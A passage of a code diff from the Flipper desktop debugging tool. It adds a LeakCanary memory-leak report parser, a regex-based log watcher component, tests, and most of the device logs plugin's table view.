function processLeak(output: Leak[], leakInfo: string): Leak[] {
|
||||
const lines = leakInfo.split('\n');
|
||||
|
||||
// Elements shows a Object's classname and package, wheras elementsSimple shows
|
||||
// just its classname
|
||||
const elements = new Map<string, Element>();
|
||||
const elementsSimple = new Map<string, Element>();
|
||||
|
||||
let rootElementId = '';
|
||||
|
||||
let i = 0;
|
||||
while (i < lines.length && !lines[i].endsWith(LEAK_BEGIN_INDICATOR)) {
|
||||
i++;
|
||||
}
|
||||
i++;
|
||||
|
||||
if (i >= lines.length) {
|
||||
return output;
|
||||
}
|
||||
|
||||
let elementId = 0;
|
||||
let elementIdStr = String(elementId);
|
||||
// Last element is leaked object
|
||||
let leakedObjName = '';
|
||||
while (i < lines.length && lines[i].startsWith('*')) {
|
||||
const line = lines[i];
|
||||
|
||||
const prevElementIdStr = String(elementId - 1);
|
||||
if (elementId !== 0) {
|
||||
// Add element to previous element's children
|
||||
safeAddChildElementId(elementIdStr, prevElementIdStr, elements);
|
||||
safeAddChildElementId(elementIdStr, prevElementIdStr, elementsSimple);
|
||||
} else {
|
||||
rootElementId = elementIdStr;
|
||||
}
|
||||
const element = getElementSimple(line, elementIdStr);
|
||||
leakedObjName = element.name;
|
||||
elements.set(elementIdStr, element);
|
||||
elementsSimple.set(elementIdStr, element);
|
||||
|
||||
i++;
|
||||
elementId++;
|
||||
elementIdStr = String(elementId);
|
||||
}
|
||||
|
||||
while (
|
||||
i < lines.length &&
|
||||
!lines[i].startsWith(RETAINED_SIZE_INDICATOR) &&
|
||||
!lines[i].startsWith(BEGIN_DETAILS_SECTION_INDICATOR)
|
||||
) {
|
||||
i++;
|
||||
}
|
||||
|
||||
let retainedSize = 'unknown size';
|
||||
|
||||
if (lines[i].startsWith(RETAINED_SIZE_INDICATOR)) {
|
||||
const match = lines[i].match(/\* Retaining: (.*)./);
|
||||
if (match) {
|
||||
retainedSize = match[1];
|
||||
}
|
||||
}
|
||||
|
||||
while (
|
||||
i < lines.length &&
|
||||
!lines[i].startsWith(BEGIN_DETAILS_SECTION_INDICATOR)
|
||||
) {
|
||||
i++;
|
||||
}
|
||||
i++;
|
||||
|
||||
// Parse information on each object's fields, package
|
||||
const {staticFields, instanceFields, packages} = generateFieldsList(lines, i);
|
||||
|
||||
// While elementsSimple remains as-is, elements has the package of each class
|
||||
// inserted, in order to enable 'Show full class path'
|
||||
for (const [elementId, pkg] of packages.entries()) {
|
||||
const element = elements.get(elementId);
|
||||
if (!element) {
|
||||
continue;
|
||||
}
|
||||
// Gets everything before the field name, which is replaced by the package
|
||||
const match = element.name.match(/([^\. ]*)(.*)/);
|
||||
if (match && match.length === 3) {
|
||||
element.name = pkg + match[2];
|
||||
}
|
||||
}
|
||||
|
||||
output.push({
|
||||
title: leakedObjName,
|
||||
root: rootElementId,
|
||||
elements: toObjectMap(elements),
|
||||
elementsSimple: toObjectMap(elementsSimple),
|
||||
staticFields: toObjectMap(staticFields, true),
|
||||
instanceFields: toObjectMap(instanceFields, true),
|
||||
retainedSize: retainedSize,
|
||||
});
|
||||
return output;
|
||||
}
|
||||
|
||||
/**
|
||||
* Processes a set of LeakCanary strings, ignoring non-leaks - see processLeak above.
|
||||
*/
|
||||
export function processLeaks(leakInfos: string[]): Leak[] {
|
||||
const newLeaks = leakInfos.reduce(processLeak, []);
|
||||
return newLeaks;
|
||||
}
|
||||
4
desktop/plugins/leak_canary/yarn.lock
Normal file
4
desktop/plugins/leak_canary/yarn.lock
Normal file
@@ -0,0 +1,4 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
228
desktop/plugins/logs/LogWatcher.tsx
Normal file
228
desktop/plugins/logs/LogWatcher.tsx
Normal file
@@ -0,0 +1,228 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {TableBodyRow} from 'flipper';
|
||||
|
||||
import {
|
||||
PureComponent,
|
||||
FlexColumn,
|
||||
Panel,
|
||||
Input,
|
||||
Toolbar,
|
||||
Text,
|
||||
ManagedTable,
|
||||
Button,
|
||||
colors,
|
||||
styled,
|
||||
} from 'flipper';
|
||||
import React from 'react';
|
||||
|
||||
export type Counter = {
|
||||
readonly expression: RegExp;
|
||||
readonly count: number;
|
||||
readonly notify: boolean;
|
||||
readonly label: string;
|
||||
};
|
||||
|
||||
type Props = {
|
||||
readonly onChange: (counters: ReadonlyArray<Counter>) => void;
|
||||
readonly counters: ReadonlyArray<Counter>;
|
||||
};
|
||||
|
||||
type State = {
|
||||
readonly input: string;
|
||||
readonly highlightedRow: string | null;
|
||||
};
|
||||
|
||||
const ColumnSizes = {
|
||||
expression: '70%',
|
||||
count: '15%',
|
||||
notify: 'flex',
|
||||
};
|
||||
|
||||
const Columns = {
|
||||
expression: {
|
||||
value: 'Expression',
|
||||
resizable: false,
|
||||
},
|
||||
count: {
|
||||
value: 'Count',
|
||||
resizable: false,
|
||||
},
|
||||
notify: {
|
||||
value: 'Notify',
|
||||
resizable: false,
|
||||
},
|
||||
};
|
||||
|
||||
const Count = styled(Text)({
|
||||
alignSelf: 'center',
|
||||
background: colors.macOSHighlightActive,
|
||||
color: colors.white,
|
||||
fontSize: 12,
|
||||
fontWeight: 500,
|
||||
textAlign: 'center',
|
||||
borderRadius: '999em',
|
||||
padding: '4px 9px 3px',
|
||||
lineHeight: '100%',
|
||||
marginLeft: 'auto',
|
||||
});
|
||||
|
||||
const Checkbox = styled(Input)({
|
||||
lineHeight: '100%',
|
||||
padding: 0,
|
||||
margin: 0,
|
||||
height: 'auto',
|
||||
alignSelf: 'center',
|
||||
});
|
||||
|
||||
const ExpressionInput = styled(Input)({
|
||||
flexGrow: 1,
|
||||
});
|
||||
|
||||
const WatcherPanel = styled(Panel)({
|
||||
minHeight: 200,
|
||||
});
|
||||
|
||||
export default class LogWatcher extends PureComponent<Props, State> {
|
||||
state = {
|
||||
input: '',
|
||||
highlightedRow: null,
|
||||
};
|
||||
|
||||
_inputRef: HTMLInputElement | undefined;
|
||||
|
||||
onAdd = () => {
|
||||
if (
|
||||
this.props.counters.findIndex(({label}) => label === this.state.input) >
|
||||
-1 ||
|
||||
this.state.input.length === 0
|
||||
) {
|
||||
// prevent duplicates
|
||||
return;
|
||||
}
|
||||
this.props.onChange([
|
||||
...this.props.counters,
|
||||
{
|
||||
label: this.state.input,
|
||||
expression: new RegExp(this.state.input, 'gi'),
|
||||
notify: false,
|
||||
count: 0,
|
||||
},
|
||||
]);
|
||||
this.setState({input: ''});
|
||||
};
|
||||
|
||||
onChange = (e: React.ChangeEvent<HTMLInputElement>) => {
|
||||
this.setState({
|
||||
input: e.target.value,
|
||||
});
|
||||
};
|
||||
|
||||
resetCount = (index: number) => {
|
||||
const newCounters = [...this.props.counters];
|
||||
newCounters[index] = {
|
||||
...newCounters[index],
|
||||
count: 0,
|
||||
};
|
||||
this.props.onChange(newCounters);
|
||||
};
|
||||
|
||||
buildRows = (): Array<TableBodyRow> => {
|
||||
return this.props.counters.map(({label, count, notify}, i) => ({
|
||||
columns: {
|
||||
expression: {
|
||||
value: <Text code={true}>{label}</Text>,
|
||||
},
|
||||
count: {
|
||||
value: <Count onClick={() => this.resetCount(i)}>{count}</Count>,
|
||||
},
|
||||
notify: {
|
||||
value: (
|
||||
<Checkbox
|
||||
type="checkbox"
|
||||
checked={notify}
|
||||
onChange={() => this.setNotification(i, !notify)}
|
||||
/>
|
||||
),
|
||||
},
|
||||
},
|
||||
key: label,
|
||||
}));
|
||||
};
|
||||
|
||||
setNotification = (index: number, notify: boolean) => {
|
||||
const newCounters: Array<Counter> = [...this.props.counters];
|
||||
newCounters[index] = {
|
||||
...newCounters[index],
|
||||
notify,
|
||||
};
|
||||
this.props.onChange(newCounters);
|
||||
};
|
||||
|
||||
onRowHighlighted = (rows: Array<string>) => {
|
||||
this.setState({
|
||||
highlightedRow: rows.length === 1 ? rows[0] : null,
|
||||
});
|
||||
};
|
||||
|
||||
onKeyDown = (e: React.KeyboardEvent) => {
|
||||
if (
|
||||
(e.key === 'Delete' || e.key === 'Backspace') &&
|
||||
this.state.highlightedRow != null
|
||||
) {
|
||||
this.props.onChange(
|
||||
this.props.counters.filter(
|
||||
({label}) => label !== this.state.highlightedRow,
|
||||
),
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
onSubmit = (e: React.KeyboardEvent) => {
|
||||
if (e.key === 'Enter') {
|
||||
this.onAdd();
|
||||
}
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<FlexColumn grow={true} tabIndex={-1} onKeyDown={this.onKeyDown}>
|
||||
<WatcherPanel
|
||||
heading="Expression Watcher"
|
||||
floating={false}
|
||||
collapsable={true}
|
||||
padded={false}>
|
||||
<Toolbar>
|
||||
<ExpressionInput
|
||||
value={this.state.input}
|
||||
placeholder="Expression..."
|
||||
onChange={this.onChange}
|
||||
onKeyDown={this.onSubmit}
|
||||
/>
|
||||
<Button
|
||||
onClick={this.onAdd}
|
||||
disabled={this.state.input.length === 0}>
|
||||
Add counter
|
||||
</Button>
|
||||
</Toolbar>
|
||||
<ManagedTable
|
||||
onRowHighlighted={this.onRowHighlighted}
|
||||
columnSizes={ColumnSizes}
|
||||
columns={Columns}
|
||||
rows={this.buildRows()}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
</WatcherPanel>
|
||||
</FlexColumn>
|
||||
);
|
||||
}
|
||||
}
|
||||
60
desktop/plugins/logs/__tests__/index.node.js
Normal file
60
desktop/plugins/logs/__tests__/index.node.js
Normal file
@@ -0,0 +1,60 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {addEntriesToState, processEntry} from '../index.tsx';
|
||||
|
||||
const entry = {
|
||||
tag: 'OpenGLRenderer',
|
||||
pid: 18384,
|
||||
|
||||
tid: 18409,
|
||||
message: 'Swap behavior 1',
|
||||
date: new Date('Feb 28 2013 19:00:00 EST'),
|
||||
type: 'debug',
|
||||
};
|
||||
|
||||
test('processEntry', () => {
|
||||
const key = 'key';
|
||||
const processedEntry = processEntry(entry, key);
|
||||
expect(processedEntry.entry).toEqual(entry);
|
||||
expect(processedEntry.row.key).toBe(key);
|
||||
expect(typeof processedEntry.row.height).toBe('number');
|
||||
});
|
||||
|
||||
test('addEntriesToState without current state', () => {
|
||||
const processedEntry = processEntry(entry, 'key');
|
||||
const newState = addEntriesToState([processedEntry]);
|
||||
|
||||
expect(newState.rows.length).toBe(1);
|
||||
expect(newState.entries.length).toBe(1);
|
||||
expect(newState.entries[0]).toEqual(processedEntry);
|
||||
});
|
||||
|
||||
test('addEntriesToState with current state', () => {
|
||||
const currentState = addEntriesToState([processEntry(entry, 'key1')]);
|
||||
const processedEntry = processEntry(
|
||||
{
|
||||
...entry,
|
||||
message: 'new message',
|
||||
},
|
||||
'key2',
|
||||
);
|
||||
const newState = addEntriesToState([processedEntry], currentState);
|
||||
expect(newState.rows.length).toBe(2);
|
||||
expect(newState.entries.length).toBe(2);
|
||||
});
|
||||
|
||||
test('addEntriesToState increase counter on duplicate message', () => {
|
||||
const currentState = addEntriesToState([processEntry(entry, 'key1')]);
|
||||
const processedEntry = processEntry(entry, 'key2');
|
||||
const newState = addEntriesToState([processedEntry], currentState);
|
||||
expect(newState.rows.length).toBe(1);
|
||||
expect(newState.entries.length).toBe(2);
|
||||
expect(newState.rows[0].columns.type.value.props.children).toBe(2);
|
||||
});
|
||||
667
desktop/plugins/logs/index.tsx
Normal file
667
desktop/plugins/logs/index.tsx
Normal file
@@ -0,0 +1,667 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
TableBodyRow,
|
||||
TableColumnOrder,
|
||||
TableColumnSizes,
|
||||
TableColumns,
|
||||
Props as PluginProps,
|
||||
BaseAction,
|
||||
DeviceLogEntry,
|
||||
} from 'flipper';
|
||||
import {Counter} from './LogWatcher';
|
||||
|
||||
import {
|
||||
Text,
|
||||
ManagedTableClass,
|
||||
Button,
|
||||
colors,
|
||||
ContextMenu,
|
||||
FlexColumn,
|
||||
Glyph,
|
||||
DetailSidebar,
|
||||
FlipperDevicePlugin,
|
||||
SearchableTable,
|
||||
styled,
|
||||
Device,
|
||||
createPaste,
|
||||
textContent,
|
||||
KeyboardActions,
|
||||
} from 'flipper';
|
||||
import LogWatcher from './LogWatcher';
|
||||
import React from 'react';
|
||||
import {MenuTemplate} from 'src/ui/components/ContextMenu';
|
||||
|
||||
const LOG_WATCHER_LOCAL_STORAGE_KEY = 'LOG_WATCHER_LOCAL_STORAGE_KEY';
|
||||
|
||||
type Entries = ReadonlyArray<{
|
||||
readonly row: TableBodyRow;
|
||||
readonly entry: DeviceLogEntry;
|
||||
}>;
|
||||
|
||||
type BaseState = {
|
||||
readonly rows: ReadonlyArray<TableBodyRow>;
|
||||
readonly entries: Entries;
|
||||
readonly key2entry: {readonly [key: string]: DeviceLogEntry};
|
||||
};
|
||||
|
||||
type AdditionalState = {
|
||||
readonly highlightedRows: ReadonlySet<string>;
|
||||
readonly counters: ReadonlyArray<Counter>;
|
||||
};
|
||||
|
||||
type State = BaseState & AdditionalState;
|
||||
|
||||
type PersistedState = {};
|
||||
|
||||
const Icon = styled(Glyph)({
|
||||
marginTop: 5,
|
||||
});
|
||||
|
||||
function getLineCount(str: string): number {
|
||||
let count = 1;
|
||||
if (!(typeof str === 'string')) {
|
||||
return 0;
|
||||
}
|
||||
for (let i = 0; i < str.length; i++) {
|
||||
if (str[i] === '\n') {
|
||||
count++;
|
||||
}
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
function keepKeys<A>(obj: A, keys: Array<string>): A {
|
||||
const result: A = {} as A;
|
||||
for (const key in obj) {
|
||||
if (keys.includes(key)) {
|
||||
result[key] = obj[key];
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
const COLUMN_SIZE = {
|
||||
type: 40,
|
||||
time: 120,
|
||||
pid: 60,
|
||||
tid: 60,
|
||||
tag: 120,
|
||||
app: 200,
|
||||
message: 'flex',
|
||||
} as const;
|
||||
|
||||
const COLUMNS = {
|
||||
type: {
|
||||
value: '',
|
||||
},
|
||||
time: {
|
||||
value: 'Time',
|
||||
},
|
||||
pid: {
|
||||
value: 'PID',
|
||||
},
|
||||
tid: {
|
||||
value: 'TID',
|
||||
},
|
||||
tag: {
|
||||
value: 'Tag',
|
||||
},
|
||||
app: {
|
||||
value: 'App',
|
||||
},
|
||||
message: {
|
||||
value: 'Message',
|
||||
},
|
||||
} as const;
|
||||
|
||||
const INITIAL_COLUMN_ORDER = [
|
||||
{
|
||||
key: 'type',
|
||||
visible: true,
|
||||
},
|
||||
{
|
||||
key: 'time',
|
||||
visible: true,
|
||||
},
|
||||
{
|
||||
key: 'pid',
|
||||
visible: false,
|
||||
},
|
||||
{
|
||||
key: 'tid',
|
||||
visible: false,
|
||||
},
|
||||
{
|
||||
key: 'tag',
|
||||
visible: true,
|
||||
},
|
||||
{
|
||||
key: 'app',
|
||||
visible: true,
|
||||
},
|
||||
{
|
||||
key: 'message',
|
||||
visible: true,
|
||||
},
|
||||
] as const;
|
||||
|
||||
const LOG_TYPES: {
|
||||
[level: string]: {
|
||||
label: string;
|
||||
color: string;
|
||||
icon?: React.ReactNode;
|
||||
style?: Object;
|
||||
};
|
||||
} = {
|
||||
verbose: {
|
||||
label: 'Verbose',
|
||||
color: colors.purple,
|
||||
},
|
||||
debug: {
|
||||
label: 'Debug',
|
||||
color: colors.grey,
|
||||
},
|
||||
info: {
|
||||
label: 'Info',
|
||||
icon: <Icon name="info-circle" color={colors.cyan} />,
|
||||
color: colors.cyan,
|
||||
},
|
||||
warn: {
|
||||
label: 'Warn',
|
||||
style: {
|
||||
backgroundColor: colors.yellowTint,
|
||||
color: colors.yellow,
|
||||
fontWeight: 500,
|
||||
},
|
||||
icon: <Icon name="caution-triangle" color={colors.yellow} />,
|
||||
color: colors.yellow,
|
||||
},
|
||||
error: {
|
||||
label: 'Error',
|
||||
style: {
|
||||
backgroundColor: colors.redTint,
|
||||
color: colors.red,
|
||||
fontWeight: 500,
|
||||
},
|
||||
icon: <Icon name="caution-octagon" color={colors.red} />,
|
||||
color: colors.red,
|
||||
},
|
||||
fatal: {
|
||||
label: 'Fatal',
|
||||
style: {
|
||||
backgroundColor: colors.redTint,
|
||||
color: colors.red,
|
||||
fontWeight: 700,
|
||||
},
|
||||
icon: <Icon name="stop" color={colors.red} />,
|
||||
color: colors.red,
|
||||
},
|
||||
};
|
||||
|
||||
const DEFAULT_FILTERS = [
|
||||
{
|
||||
type: 'enum',
|
||||
enum: Object.keys(LOG_TYPES).map(value => ({
|
||||
label: LOG_TYPES[value].label,
|
||||
value,
|
||||
})),
|
||||
key: 'type',
|
||||
value: [],
|
||||
persistent: true,
|
||||
},
|
||||
];
|
||||
|
||||
const HiddenScrollText = styled(Text)({
|
||||
alignSelf: 'baseline',
|
||||
userSelect: 'none',
|
||||
lineHeight: '130%',
|
||||
marginTop: 5,
|
||||
paddingBottom: 3,
|
||||
'&::-webkit-scrollbar': {
|
||||
display: 'none',
|
||||
},
|
||||
});
|
||||
|
||||
const LogCount = styled.div<{backgroundColor: string}>(({backgroundColor}) => ({
|
||||
backgroundColor,
|
||||
borderRadius: '999em',
|
||||
fontSize: 11,
|
||||
marginTop: 4,
|
||||
minWidth: 16,
|
||||
height: 16,
|
||||
color: colors.white,
|
||||
textAlign: 'center',
|
||||
lineHeight: '16px',
|
||||
paddingLeft: 4,
|
||||
paddingRight: 4,
|
||||
textOverflow: 'ellipsis',
|
||||
overflow: 'hidden',
|
||||
whiteSpace: 'nowrap',
|
||||
}));
|
||||
|
||||
function pad(chunk: any, len: number): string {
|
||||
let str = String(chunk);
|
||||
while (str.length < len) {
|
||||
str = `0${str}`;
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
export function addEntriesToState(
|
||||
items: Entries,
|
||||
state: BaseState = {
|
||||
rows: [],
|
||||
entries: [],
|
||||
key2entry: {},
|
||||
} as const,
|
||||
): BaseState {
|
||||
const rows = [...state.rows];
|
||||
const entries = [...state.entries];
|
||||
const key2entry = {...state.key2entry};
|
||||
|
||||
for (let i = 0; i < items.length; i++) {
|
||||
const {entry, row} = items[i];
|
||||
entries.push({row, entry});
|
||||
key2entry[row.key] = entry;
|
||||
|
||||
let previousEntry: DeviceLogEntry | null = null;
|
||||
|
||||
if (i > 0) {
|
||||
previousEntry = items[i - 1].entry;
|
||||
} else if (state.rows.length > 0 && state.entries.length > 0) {
|
||||
previousEntry = state.entries[state.entries.length - 1].entry;
|
||||
}
|
||||
|
||||
addRowIfNeeded(rows, row, entry, previousEntry);
|
||||
}
|
||||
|
||||
return {
|
||||
entries,
|
||||
rows,
|
||||
key2entry,
|
||||
};
|
||||
}
|
||||
|
||||
export function addRowIfNeeded(
|
||||
rows: Array<TableBodyRow>,
|
||||
row: TableBodyRow,
|
||||
entry: DeviceLogEntry,
|
||||
previousEntry: DeviceLogEntry | null,
|
||||
) {
|
||||
const previousRow = rows.length > 0 ? rows[rows.length - 1] : null;
|
||||
if (
|
||||
previousRow &&
|
||||
previousEntry &&
|
||||
entry.message === previousEntry.message &&
|
||||
entry.tag === previousEntry.tag &&
|
||||
previousRow.type != null
|
||||
) {
|
||||
// duplicate log, increase counter
|
||||
const count =
|
||||
previousRow.columns.type.value &&
|
||||
previousRow.columns.type.value.props &&
|
||||
typeof previousRow.columns.type.value.props.children === 'number'
|
||||
? previousRow.columns.type.value.props.children + 1
|
||||
: 2;
|
||||
const type = LOG_TYPES[previousRow.type] || LOG_TYPES.debug;
|
||||
previousRow.columns.type.value = (
|
||||
<LogCount backgroundColor={type.color}>{count}</LogCount>
|
||||
);
|
||||
} else {
|
||||
rows.push(row);
|
||||
}
|
||||
}
|
||||
|
||||
export function processEntry(
|
||||
entry: DeviceLogEntry,
|
||||
key: string,
|
||||
): {
|
||||
row: TableBodyRow;
|
||||
entry: DeviceLogEntry;
|
||||
} {
|
||||
const {icon, style} = LOG_TYPES[entry.type] || LOG_TYPES.debug;
|
||||
// build the item, it will either be batched or added straight away
|
||||
return {
|
||||
entry,
|
||||
row: {
|
||||
columns: {
|
||||
type: {
|
||||
value: icon,
|
||||
align: 'center',
|
||||
},
|
||||
time: {
|
||||
value: (
|
||||
<HiddenScrollText code={true}>
|
||||
{entry.date.toTimeString().split(' ')[0] +
|
||||
'.' +
|
||||
pad(entry.date.getMilliseconds(), 3)}
|
||||
</HiddenScrollText>
|
||||
),
|
||||
},
|
||||
message: {
|
||||
value: (
|
||||
<HiddenScrollText code={true}>{entry.message}</HiddenScrollText>
|
||||
),
|
||||
},
|
||||
tag: {
|
||||
value: <HiddenScrollText code={true}>{entry.tag}</HiddenScrollText>,
|
||||
isFilterable: true,
|
||||
},
|
||||
pid: {
|
||||
value: (
|
||||
<HiddenScrollText code={true}>{String(entry.pid)}</HiddenScrollText>
|
||||
),
|
||||
isFilterable: true,
|
||||
},
|
||||
tid: {
|
||||
value: (
|
||||
<HiddenScrollText code={true}>{String(entry.tid)}</HiddenScrollText>
|
||||
),
|
||||
isFilterable: true,
|
||||
},
|
||||
app: {
|
||||
value: <HiddenScrollText code={true}>{entry.app}</HiddenScrollText>,
|
||||
isFilterable: true,
|
||||
},
|
||||
},
|
||||
height: getLineCount(entry.message) * 15 + 10, // 15px per line height + 8px padding
|
||||
style,
|
||||
type: entry.type,
|
||||
filterValue: entry.message,
|
||||
key,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
export default class LogTable extends FlipperDevicePlugin<
|
||||
State,
|
||||
BaseAction,
|
||||
PersistedState
|
||||
> {
|
||||
static keyboardActions: KeyboardActions = [
|
||||
'clear',
|
||||
'goToBottom',
|
||||
'createPaste',
|
||||
];
|
||||
|
||||
batchTimer: NodeJS.Timeout | undefined;
|
||||
|
||||
static supportsDevice(device: Device) {
|
||||
return (
|
||||
device.os === 'iOS' || device.os === 'Android' || device.os === 'Metro'
|
||||
);
|
||||
}
|
||||
|
||||
onKeyboardAction = (action: string) => {
|
||||
if (action === 'clear') {
|
||||
this.clearLogs();
|
||||
} else if (action === 'goToBottom') {
|
||||
this.goToBottom();
|
||||
} else if (action === 'createPaste') {
|
||||
this.createPaste();
|
||||
}
|
||||
};
|
||||
|
||||
restoreSavedCounters = (): Array<Counter> => {
|
||||
const savedCounters =
|
||||
window.localStorage.getItem(LOG_WATCHER_LOCAL_STORAGE_KEY) || '[]';
|
||||
return JSON.parse(savedCounters).map((counter: Counter) => ({
|
||||
...counter,
|
||||
expression: new RegExp(counter.label, 'gi'),
|
||||
count: 0,
|
||||
}));
|
||||
};
|
||||
|
||||
calculateHighlightedRows = (
|
||||
deepLinkPayload: string | null,
|
||||
rows: ReadonlyArray<TableBodyRow>,
|
||||
): Set<string> => {
|
||||
const highlightedRows = new Set<string>();
|
||||
if (!deepLinkPayload) {
|
||||
return highlightedRows;
|
||||
}
|
||||
|
||||
// Run through array from last to first, because we want to show the last
|
||||
// time it the log we are looking for appeared.
|
||||
for (let i = rows.length - 1; i >= 0; i--) {
|
||||
const filterValue = rows[i].filterValue;
|
||||
if (filterValue != null && filterValue.includes(deepLinkPayload)) {
|
||||
highlightedRows.add(rows[i].key);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (highlightedRows.size <= 0) {
|
||||
// Check if the individual lines in the deeplinkPayload is matched or not.
|
||||
const arr = deepLinkPayload.split('\n');
|
||||
for (const msg of arr) {
|
||||
for (let i = rows.length - 1; i >= 0; i--) {
|
||||
const filterValue = rows[i].filterValue;
|
||||
if (filterValue != null && filterValue.includes(msg)) {
|
||||
highlightedRows.add(rows[i].key);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return highlightedRows;
|
||||
};
|
||||
|
||||
tableRef: ManagedTableClass | undefined;
|
||||
columns: TableColumns;
|
||||
columnSizes: TableColumnSizes;
|
||||
columnOrder: TableColumnOrder;
|
||||
logListener: Symbol | undefined;
|
||||
|
||||
batch: Array<{
|
||||
readonly row: TableBodyRow;
|
||||
readonly entry: DeviceLogEntry;
|
||||
}> = [];
|
||||
queued: boolean = false;
|
||||
counter: number = 0;
|
||||
|
||||
constructor(props: PluginProps<PersistedState>) {
|
||||
super(props);
|
||||
const supportedColumns = this.device.supportedColumns();
|
||||
this.columns = keepKeys(COLUMNS, supportedColumns);
|
||||
this.columnSizes = keepKeys(COLUMN_SIZE, supportedColumns);
|
||||
this.columnOrder = INITIAL_COLUMN_ORDER.filter(obj =>
|
||||
supportedColumns.includes(obj.key),
|
||||
);
|
||||
|
||||
const initialState = addEntriesToState(
|
||||
this.device
|
||||
.getLogs()
|
||||
.map(log => processEntry(log, String(this.counter++))),
|
||||
this.state,
|
||||
);
|
||||
this.state = {
|
||||
...initialState,
|
||||
highlightedRows: this.calculateHighlightedRows(
|
||||
props.deepLinkPayload,
|
||||
initialState.rows,
|
||||
),
|
||||
counters: this.restoreSavedCounters(),
|
||||
};
|
||||
|
||||
this.logListener = this.device.addLogListener((entry: DeviceLogEntry) => {
|
||||
const processedEntry = processEntry(entry, String(this.counter++));
|
||||
this.incrementCounterIfNeeded(processedEntry.entry);
|
||||
this.scheduleEntryForBatch(processedEntry);
|
||||
});
|
||||
}
|
||||
|
||||
incrementCounterIfNeeded = (entry: DeviceLogEntry) => {
|
||||
let counterUpdated = false;
|
||||
const counters = this.state.counters.map(counter => {
|
||||
if (entry.message.match(counter.expression)) {
|
||||
counterUpdated = true;
|
||||
if (counter.notify) {
|
||||
new Notification(`${counter.label}`, {
|
||||
body: 'The watched log message appeared',
|
||||
});
|
||||
}
|
||||
return {
|
||||
...counter,
|
||||
count: counter.count + 1,
|
||||
};
|
||||
} else {
|
||||
return counter;
|
||||
}
|
||||
});
|
||||
if (counterUpdated) {
|
||||
this.setState({counters});
|
||||
}
|
||||
};
|
||||
|
||||
scheduleEntryForBatch = (item: {
|
||||
row: TableBodyRow;
|
||||
entry: DeviceLogEntry;
|
||||
}) => {
|
||||
// batch up logs to be processed every 250ms, if we have lots of log
|
||||
// messages coming in, then calling an setState 200+ times is actually
|
||||
// pretty expensive
|
||||
this.batch.push(item);
|
||||
|
||||
if (!this.queued) {
|
||||
this.queued = true;
|
||||
|
||||
this.batchTimer = setTimeout(() => {
|
||||
const thisBatch = this.batch;
|
||||
this.batch = [];
|
||||
this.queued = false;
|
||||
this.setState(state => addEntriesToState(thisBatch, state));
|
||||
}, 100);
|
||||
}
|
||||
};
|
||||
|
||||
componentWillUnmount() {
|
||||
if (this.batchTimer) {
|
||||
clearTimeout(this.batchTimer);
|
||||
}
|
||||
|
||||
if (this.logListener) {
|
||||
this.device.removeLogListener(this.logListener);
|
||||
}
|
||||
}
|
||||
|
||||
clearLogs = () => {
|
||||
this.device.clearLogs().catch(e => {
|
||||
console.error('Failed to clear logs: ', e);
|
||||
});
|
||||
this.setState({
|
||||
entries: [],
|
||||
rows: [],
|
||||
highlightedRows: new Set(),
|
||||
key2entry: {},
|
||||
counters: this.state.counters.map(counter => ({
|
||||
...counter,
|
||||
count: 0,
|
||||
})),
|
||||
});
|
||||
};
|
||||
|
||||
createPaste = () => {
|
||||
let paste = '';
|
||||
const mapFn = (row: TableBodyRow) =>
|
||||
Object.keys(COLUMNS)
|
||||
.map(key => textContent(row.columns[key].value))
|
||||
.join('\t');
|
||||
|
||||
if (this.state.highlightedRows.size > 0) {
|
||||
// create paste from selection
|
||||
paste = this.state.rows
|
||||
.filter(row => this.state.highlightedRows.has(row.key))
|
||||
.map(mapFn)
|
||||
.join('\n');
|
||||
} else {
|
||||
// create paste with all rows
|
||||
paste = this.state.rows.map(mapFn).join('\n');
|
||||
}
|
||||
createPaste(paste);
|
||||
};
|
||||
|
||||
setTableRef = (ref: ManagedTableClass) => {
|
||||
this.tableRef = ref;
|
||||
};
|
||||
|
||||
goToBottom = () => {
|
||||
if (this.tableRef != null) {
|
||||
this.tableRef.scrollToBottom();
|
||||
}
|
||||
};
|
||||
|
||||
onRowHighlighted = (highlightedRows: Array<string>) => {
|
||||
this.setState({
|
||||
...this.state,
|
||||
highlightedRows: new Set(highlightedRows),
|
||||
});
|
||||
};
|
||||
|
||||
renderSidebar = () => {
|
||||
return (
|
||||
<LogWatcher
|
||||
counters={this.state.counters}
|
||||
onChange={counters =>
|
||||
this.setState({counters}, () =>
|
||||
window.localStorage.setItem(
|
||||
LOG_WATCHER_LOCAL_STORAGE_KEY,
|
||||
JSON.stringify(this.state.counters),
|
||||
),
|
||||
)
|
||||
}
|
||||
/>
|
||||
);
|
||||
};
|
||||
|
||||
static ContextMenu = styled(ContextMenu)({
|
||||
flex: 1,
|
||||
});
|
||||
|
||||
buildContextMenuItems: () => MenuTemplate = () => [
|
||||
{
|
||||
type: 'separator',
|
||||
},
|
||||
{
|
||||
label: 'Clear all',
|
||||
click: this.clearLogs,
|
||||
},
|
||||
];
|
||||
|
||||
render() {
|
||||
return (
|
||||
<LogTable.ContextMenu
|
||||
buildItems={this.buildContextMenuItems}
|
||||
component={FlexColumn}>
|
||||
<SearchableTable
|
||||
